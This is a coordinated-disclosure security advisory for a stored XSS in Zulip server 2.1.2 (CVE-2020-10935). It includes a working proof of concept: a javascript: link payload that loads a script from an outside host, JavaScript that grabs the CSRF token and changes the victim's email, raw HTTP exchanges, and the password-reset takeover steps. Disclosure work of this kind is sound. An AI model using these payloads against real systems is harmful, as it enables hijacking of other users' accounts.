Zulip Account Takeover Via Stored XSS

Advisory ID Internal
CORE-2020-0002

1. Advisory Information

Title: Zulip account takeover via stored XSS  
Advisory ID: CORE-2020-0002 
Advisory URL: https://www.coresecurity.com/advisories/zulip-account-takeover-stored-xss
Date published: 2020-04-02
Date of last update: 2020-03-27
Vendors contacted: Zulip
Release mode: Coordinated release 

2. Vulnerability Information

Class: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) [CWE-79] 
Impact: Account takeover 
Remotely Exploitable: Yes 
Locally Exploitable: Yes 
CVE Name: CVE-2020-10935

3. Vulnerability Description

Established in 2012, Zulip[1] is an application primarily used for chat and collaboration for professional teams. Zulip has a free and open source version of the on-premise version of its application, as well as a proprietary enterprise version. There is both a free and limited cloud version of the tool, and a paid version. 

A vulnerability was discovered in every version of Zulip that makes it possible to store a cross-site-script (XSS) inside any channel's stream which can lead to an account take-over. 

4. Vulnerable Packages

  • zulip-server-2.1.2.

 

5. Vendor Information, Solutions, and Workarounds

Zulip published a patched version of the product on 2020-04-01 with the 2.1.3 release which fixes these issues. 

6. Credits

This vulnerability was discovered and researched by Core Security Consulting Services.

7. Technical Description / Proof of Concept Code

It is possible to store JavaScript inside any stream available to the user without proper sanitization, leading to a stored XSS vulnerability (cross-site-scripting). An attacker could use this vulnerability to gain control of user accounts, potentially giving them access to the entire environment.

The following proof of concept demonstrates this vulnerability:

As user1 we could send a message in the general streams, like the following example:

[Please click to take over your account](https://Zulip-domain/javascript:var r;var s=document.createElement('script',r);s.src='https://192.168.0.35:8443/alertjs';document.body.appendChild(s).asdadasd();var e;)

The resulting message would be displayed as follows: 

Image
zulip-1-message

 

Image
zulip-2-message

 

 

 

 

 

 

 

 

 

 

 

When user3 clicks on that message the JavaScript would get and execute another JavaScript. In this case, the JS file (alertjs) is hosted in the 192.168.0.35 host. Please note that this host should get a valid certificate to access it without any restrictions. 

First, the script would get the X-CSRF-Token and will then change the email to the one elected by the attacker:

 url='https://Zulip-domain/'; fetch(url,{ method:'GET', credentials:'include', mode:'no-cors' }).then(response => response.text()) .then(text => { const parser = new DOMParser(); const htmlDocument = parser.parseFromString(text, 'text/html'); const token = htmlDocument.getElementsByName('csrfmiddlewaretoken')[0].value; const url2="https://Zulip-domain/json/settings"; const data='email=arielresearch2%40protonmail.com&method=PATCH'; fetch(url2,{ method:'POST', headers: { 'X-CSRFToken': token , 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8' }, credentials:"include", body: data }) }) .catch(error => console.log('error is', error)); 

Once user3 clicks on it, the script would be executed and perform the following request, which can retrieve the X-CSRF-Token:

GET / HTTP/1.1 Host: research.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://research.com/ Connection: close Cookie: csrftoken=9A64DMbF9X6yOtlRspEfIN0quW6TqlGSmmRPmFHRElh1H4GTM7FCBrOg6vMXFSIB; sessionid=6kbiv7wplppry7n049425mwrr4g01vlw 
HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 16 Feb 2020 20:09:13 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Vary: Cookie, Accept-Language Content-Language: en X-RateLimit-Limit: 200 X-RateLimit-Reset: 3163767566 X-RateLimit-Remaining: 193 Set-Cookie: csrftoken=9A64DMbF9X6yOtlRspEfIN0quW6TqlGSmmRPmFHRElh1H4GTM7FCBrOg6vMXFSIB; expires=Sun, 14-Feb-2021 20:09:13 GMT; Max-Age=31449600; Path=/;HttpOnly; SameSite=lax; Secure Set-Cookie: sessionid=6kbiv7wplppry7n049425mwrr4g01vlw; Domain=research.com; expires=Sun, 01-Mar-2020 20:09:13 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=lax; Secure Strict-Transport-Security: max-age=15768000 X-Frame-Options: DENY Content-Length: 105834 <!DOCTYPE html> <html lang='en'> […] <form id="send_message_form" action="/json/messages" method="post"> <input type="hidden" name="csrfmiddlewaretoken" value="F2LLkr61SeGZLMuFTQBilml38vGpBIVxSOww3kCdnCRsEnPHdyCFe09TK4mtQfXg" /> <div class="compose_table"> […] 

After we get the CSRF X-CSRF-Token token, the script would proceed to change the email address:

POST /json/settings HTTP/1.1 Host: research.com User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://research.com/ X-CSRFToken: F2LLkr61SeGZLMuFTQBilml38vGpBIVxSOww3kCdnCRsEnPHdyCFe09TK4mtQfXg Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: https://research.com Content-Length: 50 Connection: close Cookie: csrftoken=9A64DMbF9X6yOtlRspEfIN0quW6TqlGSmmRPmFHRElh1H4GTM7FCBrOg6vMXFSIB; sessionid=6kbiv7wplppry7n049425mwrr4g01vlw email=arielresearch2%40protonmail.com&method=PATCH 
HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Sun, 16 Feb 2020 20:09:13 GMT Content-Type: application/json Connection: close Vary: Accept-Encoding Expires: Sun, 16 Feb 2020 20:09:13 GMT Cache-Control: max-age=0, no-cache, no-store, must-revalidate Vary: Accept-Language, Cookie Content-Language: en X-RateLimit-Limit: 200 X-RateLimit-Reset: 3163767567 X-RateLimit-Remaining: 192 Strict-Transport-Security: max-age=15768000 X-Frame-Options: DENY Content-Length: 91 {"result":"success","msg":"","account_email":"Check your email for a confirmation link. "} 

It is possible to store JavaScript inside any stream available to the user without proper sanitization, leading to a stored XSS vulnerability (cross-site-scripting). An attacker could use this vulnerability to gain control of user account, potentially giving them access to the entire environment.

At this point, we, as the attacker, will receive an email to verify the new email address:

Image
zulip-3-message

 

 

 

 

 

 

 

 

 

 

 

 

After verifying the new email address, we could proceed to access the forgotten password functionality with the new email we just set to change the password for user3:

Image
zulip-4-message

 

 

 

 

 

 

 

 

 

 

 

8. Report Timeline

2020-02-19 - Vulnerability discovered by CoreLabs.

2020-02-19 - Email sent to support@zulipchat.com to ask about the correct contact for reporting advisory.

2020-02-27 - Email received from Tim Abbot from support@zulipchat.com asking for more information. 

2020-02-27 - New contact information received to report Zulip security issues.

2020-02-28 - New email sent to Zulip security contact at security@zulipchat.com. 

2020-03-20 - Email received from Zulip asking about the details of the vulnerability. 

2020-03-20 - Advisory draft sent to Zulip.

2020-03-23 - Response from Zulip recognizing the vulnerability and informing us that they are working on a fix. 

2020-03-25 - Fix received for testing. 

2020-03-25 - CVE-2020-10935 received from Zulip.  

2020-04-01 - Fix released and announced for version 2.1.3. 

2020-04-02 - Advisory published.

9. References

[1] https://www.zulipchat.com/

10. About CoreLabs

CoreLabs, the research center of Core Security, A HelpSystems Company is charged with researching and understanding security trends as well as anticipating the future requirements of information security technologies. CoreLabs studies cybersecurity trends, focusing on problem formalization, identification of vulnerabilities, novel solutions, and prototypes for new technologies. The team is comprised of seasoned researchers who regularly discover and discloses vulnerabilities, informing product owners in order to ensure a fix can be released efficiently, and that customers are informed as soon as possible.  

11. About Core Security, A HelpSystems Company

Core Security, a HelpSystems Company, provides organizations with critical, actionable insight about who, how, and what is vulnerable in their IT environment. With our layered security approach and robust threat-aware, identity & access, network security, and vulnerability management solutions, security teams can efficiently manage security risks across the enterprise. 

12. Disclaimer

The contents of this advisory are copyright (c) 2020 Core Security and (c) 2020 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/